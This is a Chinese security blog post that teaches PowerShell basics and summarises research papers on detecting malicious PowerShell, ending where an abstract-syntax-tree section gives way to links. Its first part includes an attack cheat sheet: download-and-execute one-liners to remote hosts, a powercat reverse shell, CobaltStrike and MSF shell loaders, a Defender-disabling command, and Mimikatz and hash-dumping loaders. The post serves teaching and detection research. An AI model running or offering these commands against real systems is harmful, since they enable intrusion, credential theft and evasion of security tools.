[网络安全提高篇] 一一三.Powershell恶意代码检测 论文总结及抽象语法树(AST)提取
Posted Eastmount
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[网络安全提高篇] 一一三.Powershell恶意代码检测 论文总结及抽象语法树(AST)提取相关的知识,希望对你有一定的参考价值。
“网络安全提高班”新的100篇文章即将开启,包括Web渗透、内网渗透、靶场搭建、CVE复现、攻击溯源、实战及CTF总结,它将更加聚焦,更加深入,也是作者的慢慢成长史。换专业确实挺难的,Web渗透也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~
前文介绍作者2020年参加清华大学、Coremail、奇安信DataCon举办的比赛,主要是关于钓鱼和异常邮件识别研究。这篇文章将详细讲解PowerShell、Powershell恶意代码检测总结及抽象语法树(AST)提取。希望这篇文章对您有帮助,也推荐大家去阅读论文,且看且珍惜。
文章目录
- 一.Powershell基础
- 二.Powershell恶意代码检测
- 1.Light-Weight Deobfuscation and Semantic-Aware Attack Detection(CCS19 反混淆)
- 2.字符级CNN(AsiaCCS18)
- 3.AMSI-Based Detection Using Contextual Embeddings(Token-Char架构 AsiaCCS20)
- 4.FC-PSDS检测方法(RF+DNN 信安学报)
- 5.基于混合特征的检测模型(Neurocomputing21)
- 6.AA-PSFC检测方法(BiGRU 武大学报)
- 7.POSTER(AST+DNN CCS18)
- 8.PSDEM(反混淆 ISCC18)
- 9.PowerDrive(动静态反混淆 DIMVA19)
- 三.抽象语法树之deobshell
- 四.AST抽取实例操作
- 五.总结
作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~
- 自学篇工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
- 系统安全:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
提高篇:(自学系列100篇目录放在文章末尾)
- [网络安全提高班] 一〇一.网络空间安全普及和医疗数据安全防护总结
- [网络安全提高篇] 一〇二.Metasploit技术之基础用法万字详解及MS17-010漏洞复现
- [网络安全提高篇] 一〇三.Metasploit后渗透技术之信息收集、权限提权、移植漏洞模块和后门
- [网络安全提高篇] 一〇四.网络渗透靶场Oracle+phpStudy本地搭建万字详解(SQL注入、XSS攻击、文件上传漏洞)
- [网络安全提高篇] 一〇五.SQL注入之揭秘Oracle数据库注入漏洞和致命问题(联合Cream老师)
- [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解
- [网络安全提高篇] 一〇七.安全威胁框架理解及勒索病毒取证溯源分析(蓝队)
- [网络安全提高篇] 一〇八.Powershell和PowerSploit脚本攻击详解 (1)
- [网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)
- [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master
- [网络安全提高篇] 一一一.ISC会议观后感之网络安全需要新战法和新框架
- [网络安全提高篇] 一一二.DataCon Coremail邮件安全竞赛之钓鱼邮件识别及分类
- [网络安全提高篇] 一一三.Powershell恶意代码检测 (1)论文总结及抽象语法树(AST)提取
一.Powershell基础
在渗透测试中,Powershell是不能忽略的一个环节,而且仍在不断地更新和发展,它具有良好的灵活性和功能化管理Windows系统的能力。一旦攻击者可以在一台计算机上运行代码,就会下载PowerShell脚本文件(.ps1)到磁盘中执行,甚至无须写到磁盘中执行,它就可以直接在内存中运行。
这些特点使得PowerShell在获得和保持对系统的访问权限时,成为攻击者首选的攻击手段,利用PowerShell的诸多特点,攻击者可以持续攻击而不被轻易发现。常用的PowerShell攻击工具有以下几种。
- PowerSploit
这是众多PowerShell攻击工具中被广泛使用的PowerShell后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。 - Nishang
基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包含下载和执行、键盘记录、DNS、延时命令等脚本。 - Empire
基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭据信息,常用于提供前期漏洞利用的集成模块、信息探测、凭据窃取、持久化控制。 - PowerCat
PowerShell版的NetCat,有着网络工具中的“瑞士军刀”美誉,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,读者可以在脚本中以多种方式使用它。
参考作者前文:
1.PowerShell简介
Windows PowerShell 是一种命令行外壳程序和脚本环境,它内置在Windows 7版本及其以上的系统中,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。
各Windows操作系统的PowerShell版本如下:
一旦攻击者在一台计算机上运行代码,他们就会下载PowerShell脚本文件(.ps1)到磁盘中执行,甚至无须写道磁盘中执行,就可以直接在内存中运行(无文件攻击),也可以把PowerShell看作命令行提示符cmd.exe的扩充。
在64位的Windows操作系统中,存在x64和x86两个版本的PowerShell,这两个版本的执行策略不会相互影响,可以看作是两个独立的程序。x64版本的配置文件在如下路径中。PowerShell包含两个应用程序组件:基于文本的标准控制台(powershell.exe)和集成命令环境的图形化界面(ISE:powershell_ise.exe)。
- C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0
传统的CMD支持脚本编写,但扩展性不好,而Powershell类似于Linux shell,具有更好的远程处理、工作流、可更新的帮助、预定任务(Scheduled Job)、CIM等优点。
(1) 首先,如何进入Powershell呢?
一种方法是在运行中直接输入Powershell打开,另一种方法是CMD中输入Powershell打开。
不同操作系统内置的Powershell是不一样的,比如win7或win2008。
(2) 其次,如何查看版本呢?
第一个命令如下:
Get-Host
输出结果如下图所示:
另一个命令是:
$psversiontable
同时,Powershell可以获取计算机的服务详细信息、状态等。
get-service
其显示结果如下图所示,采用动词+名词方式命名,比较清楚。
(3) 简单总结PowerShell优点
PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性,可以位居当前所有Shell之首。PowerShell的这些特点正在吸引攻击者,使它逐渐成为一个非常流行且得力的攻击工具。由于Powershell具有以下特点,它被广泛应用于安全领域,甚至成为每一位Web安全必须掌握的技术。
常见的优点包括:
- Windows 7以上的操作系统默认安装
- PowerShell脚本可以运行在内存中,不需要写入磁盘
- 可以从另一个系统中下载PowerShell脚本并执行
- 目前很多工具都是基于PowerShell开发的
- 很多安全软件并不能检测到PowerShell的互动
- cmd.exe通常会被阻止运行,但PowerShell不会
- 可以用来管理活动目录
- 支持面向对象,支持和.net平台交互
- 强大的兼容性,和cmd、vbs相互调用
- 可扩展性好,它可以用来管理活动目录、虚拟机产品等平台
2.PowerShell基本概念
(1) PS1文件
一个PowerShell脚本其实是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,它的文件名需要加上.PS1的扩展名。
(2) 执行策略
为防止恶意脚本的执行,PowerShell有一个执行策略,在默认情况下,这个执行策略被设为首先。在PowerShell脚本无法执行时,可以使用下面的 Get-ExecutionPolicy
命令确定当前的执行策略。它包括4个策略:
- Restricted:脚本不能运行(默认设置)
- RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名除外)
- AllSigned:仅当脚本由受信任的发布者签名时才能运行
- Unrestricted:允许所有的Script运行
我们还可以使用下面的cmdlet命令设置PowerShell的执行策略。
- Set-ExecutionPolicy [policy name] 策略名
(3) 运行脚本
运行一个PowerShell脚本,必须键入完整的路径和文件名。例如,你要运行一个名为a.ps1的脚本,可以键入 C:\\Scripts\\a.ps1。最大的例外是,如果PowerShell脚本文件刚好位于你的系统目录中,那么在命令提示符后直接键入脚本文件名即可运行,如 .\\a.ps1 的前面加上“.\\”,这和在Linux下还行Shell脚本的方法一样。
(4) 管道
PowerShell的管道作用是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接。举个例子来看管道是如何工作的,假设停止所有目前运行汇总以 “p” 字符开头命名的程序,命令如下:
- get-process p* | stop-process
管道并不是什么新事物,以前的Cmd控制台也有重定向的命令,例如Dir | More可以将结果分屏显示。传统的Cmd管道是基于文本的,但是Powershell管道是基于对象。例如:
linux:ls
cmd:dir
如果只获取其中的name、mode值,则使用如下指令。
ls | format-table name, mode
3.PowerShell常用命令及绕过权限执行
在PowerShell下,类似“cmd命令”叫作“cmdlet”,其命名规范相当一致,都采用“动词-名词”的形式,如New-Item,动词部分一般为Add、New、Get、Remove、Set等,命名的别名一般兼容Windows Command和Linux Shell,如Get-ChildItem命令使用dir或ls均可,而且PowerShell命令不区分大小写。
下面以文件操作为例讲解PowerShell命令的基本用法。
- 新建目录:New-Item whitecellclub-ItemType Directory
- 新建文件:New-Item light.txt-ItemType File
- 删除目录:Remove-Item whitecellclub
- 显示文件内容:Get-Content test.txt
- 设置文件内容:Set-Content test.txt-Value “hello,world!”
- 追加内容:Add-Content light.txt-Value “i love you”
- 清除内容:Clear-Content test.txt
举个简单的示例:
New-Item test -ItemType directory
Remove-Item test
New-Item eastmount.txt -ItemType file -value "hello csdn"
Get-Content eastmount.txt
Add-Content eastmount.txt -Value " bye!"
Get-Content eastmount.txt
Set-Content eastmount.txt -Value "haha"
Get-Content eastmount.txt
Clear-Content eastmount.txt
Get-Content eastmount.txt
Remove-Item eastmount.txt
Get-Content eastmount.txt
同样,我们还以通过Windows终端提示符输入“PowerShell”,进入PowerShell命令行,输入help命令显示帮助菜单。
经过测试,在cmd窗口执行过程下载的PowerShell脚本,不论当前策略,都可以直接运行。而如果要在PowerShell窗口运行脚本程序,必须要管理员权限将Restricted策略改成Unrestricted,所以在渗透时,就需要采用一些方法绕过策略来执行脚本。
(1) 下载远程PowerShell脚本绕过权限执行
调用DownloadString函数下载远程的ps1脚本文件。
//cmd窗口执行以下命令
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
//在powershell窗口执行
IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
下图引用谢公子的图片,切换到CMD窗口运行。
(2) 绕过本地权限执行
上传xxx.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本,如下所示。
PowerShell.exe -ExcutionPolicy Bypass -File xxx.ps1
powershell -exec bypass .\\test.ps1
(3) 本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo
-NonInteractive -NoProfile -File xxx.ps1
举个示例:
- powershell.exe -exec bypass -W hidden -nop test.ps1
(4) 用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile
-NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
下面对上述命令的参数进行说明,如下所示。
- ExecutionPolicy Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
- WindowStyle Hidden:隐藏窗口
- NoLogo:启动不显示版权标志的PowerShell
- NonInteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示
- NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件
- Noexit:执行后不退出Shell,这在使用键盘记录等脚本时非常重要
再次强调,PowerShell脚本在默认情况下无法直接执行,这是就可以使用上述方法绕过安全策略,运行PowerShell脚本如下图所示。
PowerShell.exe -ExecutionPolicy Bypass -File .\\test.ps1
通过增加 -ExecutionPolicy Bypass
实现绕过安全策略,并运行输出结果。
本地我们可以看到 test.ps1 文件。
4.PowerShell远程下载文件并执行
该部分内容学习了谢公子老师的总结,当然第二部分我详细介绍了和渗透结合的用法。
CMD窗口下载文件
管理员权限才可以下载到C盘目录下,普通权限不能下载到C盘。
//下载文件到指定目录
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
//下载文件到当前目录
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');
CMD窗口下载文件并执行exe
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe
CMD窗口下载文件并执行ps1脚本
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
远程下载powercat.ps1脚本,并带参数运行,该命令可以绕过PowerShell执行策略
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
5.PowerShell渗透测试常用命令
关闭Windows自带的Defender防火墙(需要管理员权限)。
powershell Set-MpPreference -disablerealtimeMonitoring $true
在CMD窗口下执行,将远程主机上的test.exe下载到本地。
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
在CMD窗口下利用PowerShell反弹NC shell。
//在cmd窗口执行
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
//在powershell窗口执行
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
在CMD窗口下利用PowerShell反弹CobaltStrike Shell。
//在cmd窗口执行
powershell.exe -c IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))
//在powershell窗口执行
IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))
在CMD窗口下利用PowerShell反弹MSF Shell。
//在cmd窗口执行
powershell -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
//在powershell窗口执行
IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
远程加载PowerShell脚本读取明文密码(需要管理员权限)。
//在cmd窗口执行
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
//在powershell窗口执行
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
远程加载PowerShell脚本读取明文密码hash值(需要管理员权限)。
//在cmd窗口执行
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
//在powershell窗口执行
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
6.PowerShell导入文件
在大型PowerShell项目中,通常包括.ps1、.psd1和.psm1后缀文件。比如Powersploit。
- .ps1文件:是PowerShell脚本文本
- .psd1文件:模块介绍文件
- .psm1文件:模块文件
其中,psm1和psd1文件可以使用以下命令导入。
Import-Module .\\PowerSploit.psm1
Import-Module .\\PowerSploit.psd1
导入模块输入命令:
- Get-Command -Module PowerSploit
对于.ps1文件,既可以使用Import-Module导入,也可以使用 . 导入。
Import-Module .\\Get-Information.ps1
. .\\Get-Information.ps1
二.Powershell恶意代码检测
近年来,Powershell 由于其易用性强、隐蔽性高的特点被广泛应用于 APT 攻击中,传统的基于人工特征提取和机器学习方法的恶意代码检测技术在 Powershell 恶意代码检测中越来越难以有效。该部分以学术界论文为主,介绍Powershell恶意代码检测相关现状。
当你打开DBLP或知网,会发现Powershell相关的文章很少,主要以那篇CCS解混淆为主。这里,大家不妨也读读javascript恶意代码相关的论文。下面介绍比较相关的几个工作(排名不分先后)。
1.Light-Weight Deobfuscation and Semantic-Aware Attack Detection(CCS19 反混淆)
Zhenyuan Li, et al. Effective and Light-Weight Deobfuscation and Semantic-Aware Attack Detection for PowerShell Scripts. CCS, 2019: 1831-1847.
- https://dl.acm.org/doi/pdf/10.1145/3319535.3363187
- 浙江大学,最经典的一篇Powershell论文,详细介绍解混淆工作
近年来,PowerShell 越来越多地出现在各种网络攻击中,从高级持续威胁、勒索软件、网络钓鱼电子邮件、加密劫持、金融威胁到无文件攻击。但是,由于 PowerShell 语言在设计上是动态的,并且可以在不同级别构建脚本片段,因此基于最新静态分析的 PowerShell 攻击检测方法本质上容易受到混淆。
为了克服这一挑战,本文为 PowerShell 脚本设计了第一个有效且轻量级的反混淆方法。为了解决精确识别可恢复脚本片段的挑战,设计了一种新颖的基于子树的反混淆方法。该方法在 PowerShell 脚本的抽象语法树(Abstract Syntax Tree
)中的子树级别执行混淆检测和基于仿真的恢复。
基于新的反混淆方法,我们进一步设计了第一个语义感知的 PowerShell 攻击检测系统。为了实现基于语义的检测,我们利用了经典的面向目标的关联挖掘算法,并为 PowerShell 攻击新识别了 31 个语义签名。我们对 2342 个良性样本和 4141 个恶意样本的集合进行了评估,发现我们的去混淆方法平均耗时不到 0.5 秒,同时将混淆后的脚本与原始脚本之间的相似度从仅 0.5% 提高到 80% 左右,这因此既有效又轻便。
此外,应用我们的去混淆处理后,Windows Defender 和 VirusTotal 的攻击检测率分别从 0.3% 和 2.65% 大幅提高到 75.0% 和 90.0%。同时,当应用我们的去混淆处理时,我们的语义感知攻击检测系统以 92.3% 的平均真阳性率和 0% 的假阳性率优于 Windows Defender 和 VirusTotal。
评价:这篇文章写得非常棒,值得大家学习。之后,由于去混淆做得非常好,关于Powershell的恶意检测文章很少。同时,文章的摘要非常棒,推荐给大家。
2.字符级CNN(AsiaCCS18)
Danny Hendler, et al. Detecting Malicious PowerShell Commands using Deep Neural Networks. AsiaCCS, 2018: 187-197.
Microsoft 的 PowerShell 是一种命令行 shell 和脚本语言,默认安装在 Windows 机器上。它基于微软的.NET 框架,包括一个允许程序员访问操作系统服务的接口。虽然管理员可以配置 PowerShell 以限制访问和减少漏洞,但可以绕过这些限制。此外,PowerShell 命令可以轻松地动态生成、从内存中执行、编码和混淆,从而使 PowerShell 执行的代码的日志记录和取证分析具有挑战性。
由于这些原因,PowerShell 越来越多地被网络犯罪分子用作其攻击工具链的一部分,主要用于下载恶意内容和横向移动。事实上,赛门铁克最近一份关于 PowerShell 被网络犯罪分子滥用的综合技术报告报告称,他们收到的恶意 PowerShell 样本数量以及使用 PowerShell 的渗透工具和框架的数量急剧增加。这凸显了开发检测恶意 PowerShell 命令的有效方法的迫切需要。
在这项工作中,我们通过实施几个新颖的恶意 PowerShell 命令检测器并评估它们的性能来应对这一挑战。我们实现了基于“传统”自然语言处理 (NLP) 的检测器和基于字符级卷积神经网络 (CNN) 的检测器。使用大型真实数据集评估检测器的性能。
评估结果表明,尽管我们的检测器(尤其是传统的基于 NLP 的检测器)单独产生了高性能,但将基于 NLP 的分类器与基于 CNN 的分类器相结合的集成检测器提供了最佳性能,因为后者的分类器是能够检测成功规避前者的恶意命令。通过对这些规避命令的分析表明,CNN 分类器自动检测到的一些混淆模式本质上很难使用我们应用的 NLP 技术检测到。我们的检测器提供高召回值,同时保持非常低的误报率,使我们谨慎乐观地认为它们具有实用价值。
评价:分别利用NLP和4层CNN实现Powershell检测,方法比较简单,但由于其2018年完成,做得比较早,仍能为我们提供一种思路。
3.AMSI-Based Detection Using Contextual Embeddings(Token-Char架构 AsiaCCS20)
Danny Hendler, et al. AMSI-Based Detection of Malicious PowerShell Code Using Contextual Embeddings. AsiaCCS, 2020: 679-693
- BGU、微软(上篇相同团队)
- https://dl.acm.org/doi/pdf/10.1145/3320269.3384742
继上一个工作后,这个团队在2020年提出了一种融合字符级和Token级的深度学习方法,并运用于AMSI较真实的数据集中。
PowerShell 是一个命令行 shell,支持脚本语言。它在组织中广泛用于配置管理和任务自动化,但也越来越多地用于对组织发起网络攻击,主要是因为它预装在 Windows 机器上并暴露出可能被攻击者利用的强大功能。这使得检测恶意 PowerShell 代码的问题既紧迫又具有挑战性。 Microsoft反恶意软件扫描接口 (Microsoft’s Antimalware Scan Interface, AMSI)
内置于 Windows 10 中,允许防御系统在执行之前扫描传递给脚本引擎(如 PowerShell)的所有代码。在这项工作中,我们使用 AMSI 提供的信息对恶意 PowerShell 代码检测进行了首次研究。
本文提出几种新颖的基于深度学习的恶意 PowerShell 代码检测器,它们使用来自 PowerShell 语言的单词预训练上下文嵌入(Contextual Embeddings)。上下文词嵌入能够将语义相似的词投影到嵌入空间中的近似向量。网络安全领域的一个已知问题是,与未标记数据相比,标记数据相对稀缺,因此难以设计对多种类型的恶意活动的有效监督检测。 PowerShell 代码也是如此。我们的工作表明,可以通过学习基于未标记数据的预训练上下文嵌入来缓解这个问题。
- Token-Char模型架构
本文使用 AMSI 收集的真实数据来训练和评估我们的模型。上下文嵌入是使用从公共存储库收集的大量未标记的 PowerShell 脚本和模块来学习的。我们的性能分析表明,使用未标记的数据进行嵌入显着提高了检测器的性能。我们表现最佳的模型使用的架构能够处理来自字符和标记级别的文本信号,并获得接近 90% 的真阳性率,同时保持低于 0.1% 的低假阳性率。
评价:本文的创新在于提出了Token-Char模型架构,并进行了详细的对比实验,证明了方法的有效性,推荐大家学习该论文的施压描述。
4.FC-PSDS检测方法(RF+DNN 信安学报)
刘岳, 刘宝旭, 等. 基于特征组合的Powershell恶意代码检测方法[J]. 信息安全学报, 2021, 6(1): 40-53.
- 中科院信工所
本文提出了一种基于随机森林特征组合和深度学习的Powershell 恶意代码检测方法。该方法使用随机森林生成更好表征原始数据的新特征组合,随后使用深度学习神经网络训练并进行分类识别。该方法可以弥补人工特征工程经验不足的问题,更好表征原始数据从而提高检测效果。
- 原始数据处理
- 特征组合
- 模型训练与分类识别
FC-PSDS 方法设计的目标是使用随机森林和深度神经网络检测恶意 Powershell 代码。通过混淆去除和标准化从 Powershell 代码中抽取特征组成原始特征集,根据集成学习思想使用原始特征集生成对原始数据表达更有效的新特征组合,并据此训练深度神经网络分类器模型,以此解决传统方法对于Powershell恶意代码的检测困难,以及冗余特征导致的模型检测能力较差的问题。
实验结果如下图所示:
评价:这是来自中科院刘老师他们团队的工作,主要使用随机森林生成更好表征原始数据的新特征组合,再接深度学习完成恶意性识别,文章实验也比较充分,国内为数不多的几篇Powershell文章。
5.基于混合特征的检测模型(Neurocomputing21)
Yong Fang, Xiangyu Zhou, Cheng Huang. Effective method for detecting malicious PowerShell scripts based on hybrid features. Neurocomputing, 448: 30-39 (2021).
目前,网络攻击在互联网世界猖獗,黑客的攻击方式也在不断变化。 PowerShell是一种基于命令行和.NET框架的编程语言,功能强大,兼容性好。因此,黑客经常使用 PowerShell 恶意脚本来攻击 APT 攻击中的受害者。当这些恶意 PowerShell 脚本被执行时,黑客可以控制受害者的计算机或在他们的计算机上留下后门。
本文提出了一种基于混合特征的恶意PowerShell脚本检测模型,分析了恶意样本和良性样本在文本字符、函数、标记和抽象语法树节点方面的差异。
- 首先,PowerShell的脚本被FastText嵌入。
- 然后添加从抽象语法树中提取的 PowerShell 代码的文本特征、标记特征和节点特征。
- 最后,脚本的混合特征将由随机森林分类器进行分类。
在实验中,将恶意脚本插入到良性脚本中,以削弱恶意样本在抽象语法树节点和令牌层面的特征,使脚本更加复杂。即使在如此复杂的数据集中,所提出的基于混合特征的模型在五重交叉验证中仍能达到 97.76% 的准确率。此外,该模型在原始脚本上的准确率为 98.93%,这意味着该模型具有对复杂脚本进行分类的能力。
评价:这是来自四川大学黄老师团队的工作,主要提出了一种基于混合特征的恶意PowerShell脚本检测模型,并且相关工作对比值得大家学习。
6.AA-PSFC检测方法(BiGRU 武大学报)
高宇航, 彭国军, 杨秀璋, 等. 基于深度学习的PowerShell恶意代码家族分类研究[J]. 武汉大学学报(理学版), 2022(1)
- 武汉大学国家网络安全学院
由于PowerShell具备隐蔽性高、易用性好、运行环境简单等特点,近年来已被广泛应用于高级持续性威胁攻击中。对PowerShell恶意代码进行基于功能的家族分类是检测其新型变异代码的关键。
针对已有工作主要集中于PowerShell代码的恶意性检测,缺乏对其功能层面深入挖掘的问题,提出了一种基于功能类型的 PowerShell 恶意代码家族分类方法。该方法通过构建双向门控循环网络与注意力机制提取PowerShell恶意代码的上下文语义信息,利用 PowerShell恶意代码的语义特征实现家族分类。
实验结果如下图所示:
评价:这是来自武汉大学彭老师团队的工作,主要结合抽象语法树和BiGRU识别Powershell恶意家族,文章实验也比较充分,国内为数不多的几篇Powershell文章。
7.POSTER(AST+DNN CCS18)
Gili Rusak, et al. AST-Based Deep Learning for Detecting Malicious PowerShell. CCS, 2018: 2276-2278.
- CSAIL, MIT, USA
- https://dl.acm.org/doi/10.1145/3243734.3278496
随着深度学习的发展,出现了利用神经网络或字符级卷积神经网络检测混淆的Powershell恶意命令的方法,虽然这些表达能显示Powershell的属性,但本文假设静态程序分析的工具会更加有效。基于此,提出一种结合传统程序分析(抽象语法树)和深度学习混合得方法,下图展示了基本步骤:
- 学习PowerShell AST节点向量
- 按照家族类型对恶意脚本进行分类
- 探索嵌入式程序向量表示
评价:提出一种基于语法树的Powershell检测思路,仅3页内容更像workshop。
8.PSDEM(反混淆 ISCC18)
Chao Liu, et al. PSDEM: A Feasible De-Obfuscation Method for Malicious PowerShell Detection. ISCC, 2018: 825-831.
PowerShell 非常强大,我们已经看到攻击者最近在他们的攻击方法中越来越多地使用 PowerShell。在大多数情况下,PowerShell 恶意软件通过垃圾邮件传播,使用 Microsoft Word 文档组合以致命有效的负载感染受害者。如今,PowerShell的去混淆和分析仍然是基于人工分析。然而,随着恶意样本和混淆方法数量的快速增长,速度太慢,无法满足需求。
本文提出了一种称为 PSDEM 的 PowerShell 去混淆方法,该方法具有两层去混淆以获得原始 PowerShell 脚本。一种是从许多混淆的文档代码中提取 PowerShell 脚本。另一个是反混淆脚本,包括编码、字符串操作和代码逻辑混淆。同时,我们设计了一种基于PSDEM的Word文档中恶意PowerShell脚本的自动反混淆分析工具。
我们从去混淆的准确性和时间效率方面测试了该工具的性能,评估结果表明它具有令人满意的性能。 PSDEM 提高了分析 Word 文档中恶意 PowerShell 脚本的效率和准确率,并为安全专家提供了进一步分析以获取有关攻击的更多信息的途径。
评价:设计了一种基于PSDEM的Word文档中恶意PowerShell脚本的自动反混淆分析工具,并与现有检测工具进行对比分析。
9.PowerDrive(动静态反混淆 DIMVA19)
Denis Ugarte, et al. PowerDrive: Accurate De-obfuscation and Analysis of PowerShell Malware. DIMVA,2019: 240-259.
- University of Cagliari
- https://link.springer.com/chapter/10.1007/978-3-030-22038-9_12
如今,PowerShell 是一种广泛使用的技术,用于管理和管理基于 Windows 的操作系统。但是,恶意软件向量也广泛使用它来执行有效负载或删除其他恶意内容。与恶意软件使用的其他脚本语言类似,PowerShell 攻击由于广泛使用多个混淆层而难以分析,这使得真正的恶意代码难以被发现。据我们所知,目前还缺少用于正确消除此类攻击的综合解决方案。
在本文中,我们介绍了 PowerDrive,一种用于 PowerShell 攻击的开源、静态和动态多阶段去混淆器。 PowerDrive 检测 PowerShell 代码,通过向分析师展示所采用的混淆步骤来逐步对其进行去混淆。
我们使用 PowerDrive 成功分析了从各种恶意软件向量和可执行文件中提取的数千个 PowerShell 攻击。获得的结果显示了攻击者用来设计恶意脚本的有趣模式。此外,我们提供了分析代码所采用的行为模型的分类以及分析期间联系的恶意域的综合列表。
评价:提出一种用于 PowerShell 攻击的开源、静态和动态多阶段去混淆器,并评价了Powershell攻击各个阶段(常见六个)的性能,用VirusTotal score验证。
PS:还有一些工作不再详细介绍,请读者搜索并阅读相关论文。
三.抽象语法树之deobshell
前面的论文提到抽象语法树,它能将Powershell抽象成树状结构,常见方法是使用接口或编写自定义程序实现,下面介绍其中一种方法。希望对大家有所帮助。
PowerShell 的抽象语法树作为代码的语义表达,以多叉树的形式表示脚本功能的逻辑结构,保
留了代码上下文的特征并剔除无关的参数干扰,是分析功能类似的PowerShell代码的有效方法 。Windows 为PowerShell提供了访问脚本AST的接口,使用内置接口获取的 AST 结构如图所示。
- Microsoft. Ast Class(System. Management. Automation. Language)
https//docs.microsoft.com/enus/dotnet/api/system.management.automation.language.astview=powershellsdk-7.0.0.
下面是Deobshell的介绍。
[网络安全提高篇] 一一五.Powershell恶意代码检测 Token关键词自动提取
[网络安全提高篇] 一一六.恶意代码同源分析及BinDiff软件基础用法
[网络安全提高篇] 一一一.ISC会议观后感之网络安全需要新战法和新框架
[网络安全提高篇] 一一七.恶意软件静态分析经典工具Capa基本用法万字详解